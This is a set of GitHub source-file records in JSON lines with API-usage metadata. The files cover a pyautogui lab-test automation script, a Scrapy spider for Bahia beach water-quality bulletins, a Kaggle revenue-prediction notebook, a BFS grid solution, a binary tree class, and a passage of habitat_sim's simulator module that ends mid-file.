{"seq_id": "34473072971", "text": "#!/usr/bin/env python\n\n# Setup\nimport pyautogui\nimport time\nimport sys\nimport re\n\npyautogui.PAUSE = 0\nNs = int(sys.argv[1])\nNc = int(sys.argv[2])\nNd = int(sys.argv[3])\nmeasurements = 0\ncycles = Nc*Ns\n\nNt = int(sys.argv[4])\nname = sys.argv[5]\nnums = []\n\n# Start up MATLAB script\npyautogui.getWindowsWithTitle(\"MATLAB R2022a - academic use\")[0].activate()\npyautogui.write(\"compintensity({}, {}, {}, '{}')\".format(Ns, Nc, Nd, name))\npyautogui.press(\"enter\")\n\nwhile cycles > 0:\n    time.sleep(1)\n    # Start up UniVert\n    titles = pyautogui.getAllTitles()\n    r = re.compile(\"UniVert.*\")\n    uni = list(filter(r.match,titles))\n    pyautogui.getWindowsWithTitle(uni[0])[0].activate()\n    # Create new test\n    pyautogui.hotkey('ctrl','n')\n    pyautogui.press('enter')\n    time.sleep(6)\n    # Reset displacement\n    pyautogui.doubleClick(x = 556, y = 187)\n    pyautogui.write(\"98\")\n    pyautogui.press('enter')\n    time.sleep(1)\n    pyautogui.leftClick(x = 186, y = 81)\n    time.sleep(4)\n    # Wait for input to start\n    if cycles % Nc == 0:\n        input(\"Sensor #\" + str((Nc*Ns - cycles)//Nc + 1))\n        pyautogui.getWindowsWithTitle(\"Command Prompt\")[0].minimize()\n        titles = pyautogui.getAllTitles()\n        r = re.compile(\"UniVert.*\")\n        uni = list(filter(r.match,titles))\n        pyautogui.getWindowsWithTitle(uni[0])[0].activate()\n    time.sleep(1)\n    cycles = cycles - 1\n    measurements = Nd\n    # Start test\n    pyautogui.leftClick(x = 29, y = 96)\n    pyautogui.getWindowsWithTitle(\"MATLAB R2022a - academic use\")[0].activate()\n    time.sleep(0.1)\n    pyautogui.press('enter')\n    time.sleep(21)\n\n    if cycles % Nc == 0:\n        txt = input(\"Press 'r' to redo: \")\n        # Continue\n        if txt != 'r':\n            pyautogui.getWindowsWithTitle(\"MATLAB R2022a - academic use\")[0].activate()\n            pyautogui.press('enter')\n            nums.append(Nt-4)\n        # Redo\n        else: \n            pyautogui.getWindowsWithTitle(\"MATLAB R2022a - academic use\")[0].activate()\n            pyautogui.write('r')\n            pyautogui.press('enter')\n            cycles = cycles + Nc\n    Nt = Nt + 1\n# Print test run numbers\nprint(nums)", "repo_name": "wy82/TBI-Research", "sub_path": "Compression Intensity/compintensity.py", "file_name": "compintensity.py", "file_ext": "py", "file_size_in_byte": 2155, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "78", "api": [{"api_name": "pyautogui.PAUSE", "line_number": 9, "usage_type": "attribute"}, {"api_name": "sys.argv", "line_number": 10, "usage_type": "attribute"}, {"api_name": "sys.argv", "line_number": 11, "usage_type": "attribute"}, {"api_name": "sys.argv", "line_number": 12, "usage_type": "attribute"}, {"api_name": "sys.argv", "line_number": 16, "usage_type": "attribute"}, {"api_name": "sys.argv", "line_number": 17, "usage_type": "attribute"}, {"api_name": "pyautogui.getWindowsWithTitle", "line_number": 21, "usage_type": "call"}, {"api_name": "pyautogui.write", "line_number": 22, "usage_type": "call"}, {"api_name": "pyautogui.press", "line_number": 23, "usage_type": "call"}, {"api_name": "time.sleep", "line_number": 26, "usage_type": "call"}, {"api_name": "pyautogui.getAllTitles", "line_number": 28, "usage_type": "call"}, {"api_name": "re.compile", "line_number": 29, "usage_type": "call"}, {"api_name": "pyautogui.getWindowsWithTitle", "line_number": 31, "usage_type": "call"}, {"api_name": "pyautogui.hotkey", "line_number": 33, "usage_type": "call"}, {"api_name": "pyautogui.press", "line_number": 34, "usage_type": "call"}, {"api_name": "time.sleep", "line_number": 35, "usage_type": "call"}, {"api_name": "pyautogui.doubleClick", "line_number": 37, "usage_type": "call"}, {"api_name": "pyautogui.write", "line_number": 38, "usage_type": "call"}, {"api_name": "pyautogui.press", "line_number": 39, "usage_type": "call"}, {"api_name": "time.sleep", "line_number": 40, "usage_type": "call"}, {"api_name": "pyautogui.leftClick", "line_number": 41, "usage_type": "call"}, {"api_name": "time.sleep", "line_number": 42, "usage_type": "call"}, {"api_name": "pyautogui.getWindowsWithTitle", "line_number": 46, "usage_type": "call"}, {"api_name": "pyautogui.getAllTitles", "line_number": 47, "usage_type": "call"}, {"api_name": "re.compile", "line_number": 48, "usage_type": "call"}, {"api_name": "pyautogui.getWindowsWithTitle", "line_number": 50, "usage_type": "call"}, {"api_name": "time.sleep", "line_number": 51, "usage_type": "call"}, {"api_name": "pyautogui.leftClick", "line_number": 55, "usage_type": "call"}, {"api_name": "pyautogui.getWindowsWithTitle", "line_number": 56, "usage_type": "call"}, {"api_name": "time.sleep", "line_number": 57, "usage_type": "call"}, {"api_name": "pyautogui.press", "line_number": 58, "usage_type": "call"}, {"api_name": "time.sleep", "line_number": 59, "usage_type": "call"}, {"api_name": "pyautogui.getWindowsWithTitle", "line_number": 65, "usage_type": "call"}, {"api_name": "pyautogui.press", "line_number": 66, "usage_type": "call"}, {"api_name": "pyautogui.getWindowsWithTitle", "line_number": 70, "usage_type": "call"}, {"api_name": "pyautogui.write", "line_number": 71, "usage_type": "call"}, {"api_name": "pyautogui.press", "line_number": 72, "usage_type": "call"}]}
{"seq_id": "17677802635", "text": "import csv\nimport io\nimport logging\nimport lzma\nimport re\nfrom pathlib import Path\n\nimport rows\nfrom scrapy import Request, Spider\n\n\nlogging.getLogger(\"pdfminer\").setLevel(logging.ERROR)\nregexp_costa = re.compile('[ -]([A-Z]{3,4})[ -]')\n\n\ndef clean(text):\n    return text.replace('\\n', ' ').strip()\n\n\ndef extrai_costa(ponto):\n    \"\"\"\n    >>> extrai_costa('2ª. Praia de Morro de São Paulo - CDD- SP 200')\n    'CDD'\n    >>> extrai_costa('Costa - Canavieiras - CCA CN 100')\n    'CCA'\n    >>> extrai_costa('Madre de Deus - BTS MD 100')\n    'BTS'\n    >>> extrai_costa('Nativos - CDES NT 100')\n    'CDES'\n    \"\"\"\n\n    return regexp_costa.findall(ponto)[0]\n\n\nclass ExtraiBoletins(Spider):\n    name = 'inema-balneabilidade-extrai-boletins'\n\n    def start_requests(self):\n        download_path = Path('./download')\n        if not download_path.exists():\n            download_path.mkdir()\n\n        fobj = io.TextIOWrapper(\n            lzma.open('data/output/boletins.csv.xz'),\n            encoding='utf8'\n        )\n        for row in csv.DictReader(fobj):\n            filename = download_path / f'{row[\"id_campanha\"]}.pdf'\n            row['filename'] = filename\n            if filename.exists():\n                url = 'file://' + str(filename.absolute())\n            else:\n                url = row['url']\n\n            yield Request(url=url, meta=row)\n\n    def parse(self, response):\n        meta = response.request.meta.copy()\n        filename = meta['filename']\n        meta['costa_menu'] = meta['costa']\n        del_keys = [key for key in meta.keys()\n                    if key.startswith('download_')\n                    or key in ('url', 'filename', 'depth', 'costa')]\n        for key in del_keys:\n            del meta[key]\n        with open(filename, mode='wb') as fobj:\n            fobj.write(response.body)\n\n        for row in rows.import_from_pdf(io.BytesIO(response.body)):\n            row = row._asdict()\n            row['local_da_coleta'] = clean(row['local_da_coleta'])\n            row['ponto_codigo'] = clean(row['ponto_codigo'])\n            row['costa_ponto'] = extrai_costa(row['ponto_codigo'])\n            row.update(meta)\n            yield row\n", "repo_name": "Correio24horas/balneabilidade-bahia", "sub_path": "extrai_boletins.py", "file_name": "extrai_boletins.py", "file_ext": "py", "file_size_in_byte": 2154, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 9, "dataset": "github-code", "pt": "81", "api": [{"api_name": "logging.getLogger", "line_number": 12, "usage_type": "call"}, {"api_name": "logging.ERROR", "line_number": 12, "usage_type": "attribute"}, {"api_name": "re.compile", "line_number": 13, "usage_type": "call"}, {"api_name": "scrapy.Spider", "line_number": 35, "usage_type": "name"}, {"api_name": "pathlib.Path", "line_number": 39, "usage_type": "call"}, {"api_name": "io.TextIOWrapper", "line_number": 43, "usage_type": "call"}, {"api_name": "lzma.open", "line_number": 44, "usage_type": "call"}, {"api_name": "csv.DictReader", "line_number": 47, "usage_type": "call"}, {"api_name": "scrapy.Request", "line_number": 55, "usage_type": "call"}, {"api_name": "rows.import_from_pdf", "line_number": 69, "usage_type": "call"}, {"api_name": "io.BytesIO", "line_number": 69, "usage_type": "call"}]}
{"seq_id": "71049630651", "text": "import os\nimport json\nimport numpy as np\nimport pandas as pd\nfrom pandas.io.json import json_normalize\nimport seaborn as sns\nimport matplotlib.pyplot as plt\ndef load_df(csv_path):\n    JSON_COLUMNS = ['device', 'geoNetwork', 'totals', 'trafficSource']\n    \n    df = pd.read_csv(csv_path, \n                     converters={column: json.loads for column in JSON_COLUMNS}, \n                     dtype={'fullVisitorId': 'str'}\n                     )\n    \n    for column in JSON_COLUMNS:\n        column_as_df = json_normalize(df[column])\n        column_as_df.columns = [f\"{column}.{subcolumn}\" for subcolumn in column_as_df.columns]\n        df = df.drop(column, axis=1).merge(column_as_df, right_index=True, left_index=True)\n    print(f\"Loaded {os.path.basename(csv_path)}. Shape: {df.shape}\")\n    return df\ntrain_df = load_df('../input/train.csv')\ntest_df = load_df(\"../input/test.csv\")\n\ntrain_df.head()\ndef check_null_values(data_frame,dataset_name):\n    null_count = ((data_frame[data_frame.columns] == 'not available in demo dataset') | (data_frame[data_frame.columns].isna())).sum()\n    \n    #print(\"\\n--------------------{} Dataset Null Count-----------------------\".format(dataset_name))\n    #print(null_count)\n\n    keys = null_count.keys()\n    df_size = len(data_frame) \n    null_col = [col for col in keys if null_count[str(col)] > 0 if null_count[str(col)] == df_size]\n    print(\"No. of columns with null values in {} dataset : {}\".format(dataset_name,len(null_col)))\n    return null_col,null_count\n    \ntrain_null_col,train_null_count = check_null_values(train_df,\"Training\")\ntest_null_col,test_null_count = check_null_values(test_df,\"Testing\")\ncol_labels = ['Column Name','Null Count']\nnull_count_df = pd.DataFrame(columns=col_labels,data={col_labels[0] : list(train_null_count.keys()),\n                                                     col_labels[1] : list(train_null_count.values)})\nfig,ax = plt.subplots(figsize=(20,8))\nnull_graph = sns.barplot(x=col_labels[0],y=col_labels[1],data=null_count_df,palette=sns.color_palette(\"Paired\",len(null_count_df)),ax=ax,capsize=0.5)\nnull_graph.set_xticklabels(labels=[label.split(\".\")[-1] for label in null_count_df['Column Name']],rotation=60)\n\nprint(\"\\nColumns having unnecessary information from training set \\n\" ,train_null_col)\nprint(\"\\nColumns having unnecessary information from testing set \\n\" ,test_null_col)\ntrain_df.drop(columns=train_null_col,inplace=True)\ntest_df.drop(columns=test_null_col,inplace=True)\ntrain_df.drop(columns=['trafficSource.campaignCode','visitStartTime'],inplace=True)\ntest_df.drop(columns=['visitStartTime'],inplace=True)\n\nprint(\"Training Set Shape after dropping columns\",train_df.shape)\nprint(\"Testing Set Shape after dropping columns\",test_df.shape)\ndef handle_null(df,name) :\n    df['totals.newVisits'].fillna(0,inplace=True)\n    df['totals.pageviews'].fillna(0,inplace=True)\n    \n    null_col,null_count = check_null_values(df,name)\n    df_len = len(df)\n    \n    null_percent = [round((null_count_val/df_len)* 100,2) for null_count_val in null_count.values]\n    null_percent = pd.DataFrame(columns=['Column Name','Null Percent'],data={ 'Column Name' : df.keys(),'Null Percent' : null_percent})\n    null_percent.set_index('Column Name',inplace=True)\n    return null_percent\n\ntrain_df['totals.transactionRevenue'].fillna(0,inplace=True)\ntrain_col_null_percent = handle_null(train_df,\"Training\")\ntest_col_null_percent = handle_null(test_df,\"Testing\")\n\ndisplay(train_col_null_percent)\n\ntrain_cols_to_discard = [column for column in train_col_null_percent.index.values if int(train_col_null_percent.at[column,'Null Percent']) > 22]\ntrain_cols_to_discard.extend(['fullVisitorId','totals.visits','socialEngagementType','sessionId','visitId','geoNetwork.networkDomain','trafficSource.campaign'])\n#print(train_cols_to_discard)\ntrain_df.drop(train_cols_to_discard,axis=1,inplace=True)\n\ntest_cols_to_discard = [column for column in test_col_null_percent.index.values if int(test_col_null_percent.at[column,'Null Percent']) > 22]\ntest_cols_to_discard.extend(['socialEngagementType','totals.visits','sessionId','visitId','geoNetwork.networkDomain','trafficSource.campaign'])\ntest_df.drop(test_cols_to_discard,axis=1,inplace=True)\n\ntrain_df.head()\ntrain_quarter = [int((((date%10000)/100)/4)+1) for date in train_df['date']]\ntest_quarter = [int((((date%10000)/100)/4)+1) for date in test_df['date']]\n\ndef getDay(date):\n    return date%100\n\ntrain_df = train_df.assign(quarterOfYear=train_quarter)\ntest_df = test_df.assign(quarterOfYear=test_quarter)\n\ntrain_df['date'] = train_df['date'].apply(getDay)\ntest_df['date'] = test_df['date'].apply(getDay)\n\nfrom sklearn.linear_model import LinearRegression\nfrom sklearn.preprocessing import LabelEncoder\ncol_to_encode = ['channelGrouping','device.browser','device.deviceCategory','device.isMobile','device.operatingSystem','geoNetwork.continent','geoNetwork.country','geoNetwork.subContinent', 'trafficSource.medium', 'trafficSource.source']\nle = LabelEncoder()\n\ndef encode_cols(data_frame,columns):\n    for column in col_to_encode :\n        data_frame[column] = le.fit(data_frame[column]).transform(data_frame[column]) \n\nencode_cols(train_df,col_to_encode)\nencode_cols(test_df,col_to_encode)\n        \ntraining_col = list(train_df.keys())\ntraining_col.remove('totals.transactionRevenue')\nfull_visitor_ids = test_df['fullVisitorId'].values\n\ntest_col = list(test_df.keys())\ntest_col.remove('fullVisitorId')\n\n\nX_train = train_df[training_col] \ny_train = train_df['totals.transactionRevenue']\n\n\n#print(type(train_df['device.browser'][0]))\n#print([col_val for col_val in train_df.columns.values if isinstance(train_df[col_val][0],str)])\n\n\n#train_df.apply(le.fit_transform)\n    \n#print(le.fit(train_df['device.deviceCategory']).transform(train_df[['device.deviceCategory','device.browser']]))\ntrain_df.head()\ntest_df.head()\n\n#X_train.head()\n\nfrom sklearn.ensemble import RandomForestRegressor\n\n#lr_model = LinearRegression()\nrf = RandomForestRegressor(n_estimators = 500, random_state = 42)\n#model = lr_model.fit(X_train,y_train)\nmodel = rf.fit(X_train,y_train)\n#print(model.coef_)\n\nprediction = rf.predict(test_df[test_col])\nprint(len(prediction))\n\nimport math\n\ntest_df = test_df.assign(predictedRevenue=prediction)\ngroupby_visitorId = test_df.groupby('fullVisitorId').sum()\n\ndef calculate_log(revenue):\n    return math.log10(abs(revenue) + 1)\n\npredicted_df = groupby_visitorId['predictedRevenue'].apply(calculate_log)\npredicted_df_new = pd.DataFrame({'fullVisitorId' : list(predicted_df.keys()),'PredictedLogRevenue' : predicted_df.values})\npredicted_df_new.to_csv('output_pred.csv',index=False)\n", "repo_name": "aorursy/new-nb-1", "sub_path": "aks709_data-cleaning-and-elimination-of-unnecessary-data.py", "file_name": "aks709_data-cleaning-and-elimination-of-unnecessary-data.py", "file_ext": "py", "file_size_in_byte": 6608, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "78", "api": [{"api_name": "pandas.read_csv", "line_number": 11, "usage_type": "call"}, {"api_name": "json.loads", "line_number": 12, "usage_type": "attribute"}, {"api_name": "pandas.io.json.json_normalize", "line_number": 17, "usage_type": "call"}, {"api_name": "os.path.basename", "line_number": 20, "usage_type": "call"}, {"api_name": "os.path", "line_number": 20, "usage_type": "attribute"}, {"api_name": "pandas.DataFrame", "line_number": 41, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.subplots", "line_number": 43, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 43, "usage_type": "name"}, {"api_name": "seaborn.barplot", "line_number": 44, "usage_type": "call"}, {"api_name": "seaborn.color_palette", "line_number": 44, "usage_type": "call"}, {"api_name": "pandas.DataFrame", "line_number": 64, "usage_type": "call"}, {"api_name": "sklearn.preprocessing.LabelEncoder", "line_number": 99, "usage_type": "call"}, {"api_name": "sklearn.ensemble.RandomForestRegressor", "line_number": 135, "usage_type": "call"}, {"api_name": "math.log10", "line_number": 149, "usage_type": "call"}, {"api_name": "pandas.DataFrame", "line_number": 152, "usage_type": "call"}]}
{"seq_id": "39226555828", "text": "\r\n\r\nfrom collections import deque\r\n\r\n# dfs\r\ndef bfs(x, y):\r\n\r\n    # 델타 탐색\r\n    dx = [1, -1, 0, 0]\r\n    dy = [0, 0, 1, -1]\r\n\r\n    # 방문 처리\r\n    graph[x][y] = 0\r\n\r\n    # 넓이 구하기\r\n    length = 1\r\n\r\n    # 큐 추가\r\n    q = deque()\r\n    q.append((x, y))\r\n\r\n    while q:\r\n        x, y = q.popleft()\r\n        # 4방향 탐색\r\n        for i in range(4):\r\n            nx = x + dx[i]\r\n            ny = y + dy[i]\r\n            if 0 <= nx < n and 0 <= ny < m and graph[nx][ny] == 1:\r\n                graph[nx][ny] = 0\r\n                q.append((nx, ny))\r\n                length += 1\r\n    \r\n    return length\r\n\r\n# 가로: m, 세로: n\r\nn, m = map(int, input().split())\r\n\r\n# 그래프에 데이터 받기\r\ngraph = []\r\nfor i in range(n):\r\n    graph.append(list(map(int, input().split())))\r\n\r\nresult = []\r\nfor i in range(n):\r\n    for j in range(m):\r\n        if graph[i][j] == 1:\r\n            result.append(bfs(i, j))\r\n\r\nif len(result) == 0:\r\n    print(len(result))\r\n    print(0)\r\nelse:\r\n    print(len(result))\r\n    print(max(result))\r\n\r\n", "repo_name": "unboxing96/ALGO", "sub_path": "백준/Silver/1926. 그림/그림.py", "file_name": "그림.py", "file_ext": "py", "file_size_in_byte": 1047, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "78", "api": [{"api_name": "collections.deque", "line_number": 19, "usage_type": "call"}]}
{"seq_id": "39091743784", "text": "from __future__ import annotations\n\nfrom collections.abc import Sequence\nfrom typing import TYPE_CHECKING\n\nimport logging\n\n\nif TYPE_CHECKING:\n    from typing import Any\n\n__all__ = [\"Node\", \"BinaryNode\"]\n__log__ = logging.getLogger(__name__)\n\n\nclass Node(Sequence):\n    def __init__(\n        self, value: Node | Sequence | Any, parent: Node | None = None\n    ) -> None:\n        self.parent = parent\n        if isinstance(value, Node):\n            value = value.value\n        if isinstance(value, Sequence):\n            self.value = [self.__class__(v, self) for v in value]\n        else:\n            self.value = value\n\n    @property\n    def depth(self) -> int:\n        if self.parent:\n            return self.parent.depth + 1\n        return 0\n\n    @property\n    def is_internal(self) -> bool:\n        return isinstance(self.value, Sequence)\n\n    @property\n    def is_leaf(self) -> bool:\n        return not self.is_internal\n\n    def __len__(self) -> int:\n        if self.is_internal:\n            return sum(map(len, self.value))\n        else:\n            return 1\n\n    def __getitem__(self, idx: int) -> Any:\n        __log__.error((self, idx))\n        if self.is_internal:\n            for child in self.value:\n                if idx < len(child):\n                    return child[idx]\n                idx -= len(child)\n            raise IndexError(\"index out of range\")\n        return self.value\n\n    def __repr__(self) -> str:\n        if self.is_internal:\n            return \"[\" + \", \".join(map(repr, self.value)) + \"]\"\n        else:\n            return str(self.value)\n\n    @property\n    def nested(self) -> Any | Sequence:\n        if self.is_leaf:\n            return self.value\n        else:\n            return [n.nested for n in self.value]\n\n\nclass BinaryNode(Node):\n    @property\n    def left(self) -> BinaryNode:\n        if self.is_leaf:\n            raise NotImplementedError\n        return self.value[0]\n\n    @property\n    def right(self) -> BinaryNode:\n        if self.is_leaf:\n            raise NotImplementedError\n        return self.value[1]\n\n    def previous_node(self) -> BinaryNode:\n        if self.is_internal:\n            result = self.left\n            while result.is_internal:\n                result = result.right\n        else:\n            now = self\n            result = now.parent\n            while result and result.left == now:\n                now = result\n                result = now.parent\n        return result\n\n    def next_node(self) -> BinaryNode:\n        if self.is_internal:\n            result = self.right\n            while result.is_internal:\n                result = result.left\n        else:\n            now = self\n            result = now.parent\n            while result and result.right == now:\n                now = result\n                result = now.parent\n        return result\n\n    def previous_leaf(self) -> BinaryNode:\n        result = self.previous_node()\n        while result and result.is_internal:\n            result = result.previous_node()\n        return result\n\n    def next_leaf(self) -> BinaryNode:\n        result = self.next_node()\n        while result and result.is_internal:\n            result = result.next_node()\n        return result\n", "repo_name": "NimVek/advent-of-code", "sub_path": "aoc/lib/tree.py", "file_name": "tree.py", "file_ext": "py", "file_size_in_byte": 3191, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 1, "dataset": "github-code", "pt": "78", "api": [{"api_name": "typing.TYPE_CHECKING", "line_number": 9, "usage_type": "name"}, {"api_name": "logging.getLogger", "line_number": 13, "usage_type": "call"}, {"api_name": "collections.abc.Sequence", "line_number": 16, "usage_type": "name"}, {"api_name": "collections.abc.Sequence", "line_number": 18, "usage_type": "name"}, {"api_name": "typing.Any", "line_number": 18, "usage_type": "name"}, {"api_name": "collections.abc.Sequence", "line_number": 23, "usage_type": "argument"}, {"api_name": "collections.abc.Sequence", "line_number": 36, "usage_type": "argument"}, {"api_name": "typing.Any", "line_number": 48, "usage_type": "name"}, {"api_name": "typing.Any", "line_number": 65, "usage_type": "name"}, {"api_name": "collections.abc.Sequence", "line_number": 65, "usage_type": "name"}]}
{"seq_id": "72293742653", "text": "import os.path as osp\nimport time\nfrom typing import Dict, List, Optional\n\nimport attr\nimport magnum as mn\nimport numpy as np\n\nimport habitat_sim.bindings as hsim\nimport habitat_sim.errors\nfrom habitat_sim.agent import Agent, AgentConfiguration, AgentState\nfrom habitat_sim.gfx import DEFAULT_LIGHTING_KEY\nfrom habitat_sim.logging import logger\nfrom habitat_sim.nav import GreedyGeodesicFollower, NavMeshSettings\nfrom habitat_sim.physics import MotionType\nfrom habitat_sim.sensors.noise_models import make_sensor_noise_model\nfrom habitat_sim.utils.common import quat_from_angle_axis\n\ntorch = None\n\n\n@attr.s(auto_attribs=True, slots=True)\nclass Configuration(object):\n    r\"\"\"Specifies how to configure the simulator.\n\n    :property sim_cfg: The configuration of the backend of the simulator\n    :property agents: A list of agent configurations\n\n    Ties together a backend config, `sim_cfg` and a list of agent\n    configurations `agents`.\n    \"\"\"\n\n    sim_cfg: Optional[hsim.SimulatorConfiguration] = None\n    agents: Optional[List[AgentConfiguration]] = None\n\n\n@attr.s(auto_attribs=True)\nclass Simulator:\n    r\"\"\"The core class of habitat-sim\n\n    :property config: configuration for the simulator\n\n    The simulator ties together the backend, the agent, controls functions,\n    and collision checking/pathfinding.\n    \"\"\"\n\n    config: Configuration\n    agents: List[Agent] = attr.ib(factory=list, init=False)\n    pathfinder: hsim.PathFinder = attr.ib(default=None, init=False)\n    _sim: hsim.SimulatorBackend = attr.ib(default=None, init=False)\n    _num_total_frames: int = attr.ib(default=0, init=False)\n    _default_agent: Agent = attr.ib(init=False, default=None)\n    _sensors: Dict = attr.ib(factory=dict, init=False)\n    _previous_step_time = 0.0  # track the compute time of each step\n\n    def __attrs_post_init__(self):\n        config = self.config\n        self.config = None\n        self.reconfigure(config)\n\n    def close(self):\n        for sensor in self._sensors.values():\n            sensor.close()\n            del sensor\n\n        self._sensors = {}\n\n        for agent in self.agents:\n            agent.close()\n            del agent\n\n        self.agents = []\n\n        del self._default_agent\n        self._default_agent = None\n\n        del self._sim\n        self._sim = None\n\n    def seed(self, new_seed):\n        self._sim.seed(new_seed)\n        self.pathfinder.seed(new_seed)\n\n    def reset(self):\n        self._sim.reset()\n        for i in range(len(self.agents)):\n            self.reset_agent(i)\n\n        return self.get_sensor_observations()\n\n    def reset_agent(self, agent_id):\n        agent = self.get_agent(agent_id)\n        initial_agent_state = agent.initial_state\n        if initial_agent_state is None:\n            raise RuntimeError(\"reset called before agent was given an initial state\")\n\n        self.initialize_agent(agent_id, initial_agent_state)\n\n    def _config_backend(self, config: Configuration):\n        if self._sim is None:\n            self._sim = hsim.SimulatorBackend(config.sim_cfg)\n        else:\n            self._sim.reconfigure(config.sim_cfg)\n\n    def _config_agents(self, config: Configuration):\n        if self.config is not None and self.config.agents == config.agents:\n            return\n\n        self.agents = [\n            Agent(\n                self._sim.get_active_scene_graph().get_root_node().create_child(), cfg\n            )\n            for cfg in config.agents\n        ]\n\n    def _config_pathfinder(self, config: Configuration):\n        if \"navmesh\" in config.sim_cfg.scene.filepaths:\n            navmesh_filenname = config.sim_cfg.scene.filepaths[\"navmesh\"]\n        else:\n            scene_basename = osp.basename(config.sim_cfg.scene.id)\n            # \"mesh.ply\" is identified as a replica model, whose navmesh\n            # is named as \"mesh_semantic.navmesh\" and is placed in the\n            # subfolder called \"habitat\" (a level deeper than the \"mesh.ply\")\n            if scene_basename == \"mesh.ply\":\n                scene_dir = osp.dirname(config.sim_cfg.scene.id)\n                navmesh_filenname = osp.join(\n                    scene_dir, \"habitat\", \"mesh_semantic.navmesh\"\n                )\n            else:\n                navmesh_filenname = (\n                    osp.splitext(config.sim_cfg.scene.id)[0] + \".navmesh\"\n                )\n\n        self.pathfinder = hsim.PathFinder()\n        if osp.exists(navmesh_filenname):\n            self.pathfinder.load_nav_mesh(navmesh_filenname)\n            logger.info(f\"Loaded navmesh {navmesh_filenname}\")\n        else:\n            logger.warning(\n                f\"Could not find navmesh {navmesh_filenname}, no collision checking will be done\"\n            )\n\n        agent_legacy_config = AgentConfiguration()\n        default_agent_config = config.agents[config.sim_cfg.default_agent_id]\n        if not np.isclose(\n            agent_legacy_config.radius, default_agent_config.radius\n        ) or not np.isclose(agent_legacy_config.height, default_agent_config.height):\n            logger.info(\n                f\"Recomputing navmesh for agent's height {default_agent_config.height} and radius\"\n                f\" {default_agent_config.radius}.\"\n            )\n            navmesh_settings = NavMeshSettings()\n            navmesh_settings.set_defaults()\n            navmesh_settings.agent_radius = default_agent_config.radius\n            navmesh_settings.agent_height = default_agent_config.height\n            self.recompute_navmesh(self.pathfinder, navmesh_settings)\n\n    def reconfigure(self, config: Configuration):\n        assert len(config.agents) > 0\n\n        config.sim_cfg.create_renderer = any(\n            map(lambda cfg: len(cfg.sensor_specifications) > 0, config.agents)\n        )\n\n        if self.config == config:\n            return\n\n        # NB: Configure backend last as this gives more time for python's GC\n        # to delete any previous instances of the simulator\n        # TODO: can't do the above, sorry -- the Agent constructor needs access\n        # to self._sim.get_active_scene_graph()\n        self._config_backend(config)\n        self._config_agents(config)\n        self._config_pathfinder(config)\n        self._sim.frustum_culling = config.sim_cfg.frustum_culling\n        for i in range(len(self.agents)):\n            self.agents[i].controls.move_filter_fn = self._step_filter\n\n        self._default_agent = self.get_agent(config.sim_cfg.default_agent_id)\n\n        agent_cfg = config.agents[config.sim_cfg.default_agent_id]\n        self._sensors = {}\n        for spec in agent_cfg.sensor_specifications:\n            self._sensors[spec.uuid] = Sensor(\n                sim=self._sim, agent=self._default_agent, sensor_id=spec.uuid\n            )\n\n        for i in range(len(self.agents)):\n            self.initialize_agent(i)\n\n        self.config = config\n\n    def get_agent(self, agent_id):\n        return self.agents[agent_id]\n\n    def initialize_agent(self, agent_id, initial_state=None):\n        agent = self.get_agent(agent_id=agent_id)\n        if initial_state is None:\n            initial_state = AgentState()\n            if self.pathfinder.is_loaded:\n                initial_state.position = self.pathfinder.get_random_navigable_point()\n                initial_state.rotation = quat_from_angle_axis(\n                    np.random.uniform(0, 2.0 * np.pi), np.array([0, 1, 0])\n                )\n\n        agent.set_state(initial_state, is_initial=True)\n        self._last_state = agent.state\n        return agent\n\n    def sample_random_agent_state(self, state_to_return):\n        return self._sim.sample_random_agent_state(state_to_return)\n\n    @property\n    def semantic_scene(self):\n        r\"\"\"The semantic scene graph\n\n        .. note-warning::\n\n            Not avaliable for all datasets\n        \"\"\"\n\n        return self._sim.semantic_scene\n\n    def get_sensor_observations(self):\n        for _, sensor in self._sensors.items():\n            sensor.draw_observation()\n\n        observations = {}\n        for sensor_uuid, sensor in self._sensors.items():\n            observations[sensor_uuid] = sensor.get_observation()\n\n        return observations\n\n    def last_state(self):\n        return self._last_state\n\n    def step(self, action, dt=1.0 / 60.0):\n        self._num_total_frames += 1\n        collided = self._default_agent.act(action)\n        self._last_state = self._default_agent.get_state()\n\n        # step physics by dt\n        step_start_Time = time.time()\n        self._sim.step_world(dt)\n        _previous_step_time = time.time() - step_start_Time\n\n        observations = self.get_sensor_observations()\n        # Whether or not the action taken resulted in a collision\n        observations[\"collided\"] = collided\n\n        return observations\n\n    def make_greedy_follower(self, agent_id: int = 0, goal_radius: float = None):\n        return GreedyGeodesicFollower(\n            self.pathfinder, self.get_agent(agent_id), goal_radius\n        )\n\n    def _step_filter(self, start_pos, end_pos):\n        if self.pathfinder.is_loaded:\n            if self.config.sim_cfg.allow_sliding:\n                end_pos = self.pathfinder.try_step(start_pos, end_pos)\n            else:\n                end_pos = self.pathfinder.try_step_no_sliding(start_pos, end_pos)\n\n        return end_pos\n\n    def __del__(self):\n        self.close()\n\n    # --- physics functions ---\n    def add_object(\n        self,\n        object_lib_index,\n        attachment_node=None,\n        light_setup_key=DEFAULT_LIGHTING_KEY,\n    ):\n        return self._sim.add_object(object_lib_index, attachment_node, light_setup_key)\n\n    def get_physics_object_library_size(self):\n        return self._sim.get_physics_object_library_size()\n\n    def remove_object(\n        self, object_id, delete_object_node=True, delete_visual_node=True\n    ):\n        self._sim.remove_object(object_id, delete_object_node, delete_visual_node)\n\n    def get_existing_object_ids(self, scene_id=0):\n        return self._sim.get_existing_object_ids(scene_id)\n\n    def get_object_motion_type(self, object_id, scene_id=0):\n        return self._sim.get_object_motion_type(object_id, scene_id)\n\n    def set_object_motion_type(self, motion_type, object_id, scene_id=0):\n        return self._sim.set_object_motion_type(motion_type, object_id, scene_id)\n\n    def set_transformation(self, transform, object_id, scene_id=0):\n        self._sim.set_transformation(transform, object_id, scene_id)\n\n    def get_transformation(self, object_id, scene_id=0):\n        return self._sim.get_transformation(object_id, scene_id)\n\n    def set_translation(self, translation, object_id, scene_id=0):\n        self._sim.set_translation(translation, object_id, scene_id)\n\n    def get_translation(self, object_id, scene_id=0):\n        return self._sim.get_translation(object_id, scene_id)\n\n    def set_rotation(self, rotation, object_id, scene_id=0):\n        self._sim.set_rotation(rotation, object_id, scene_id)\n\n    def 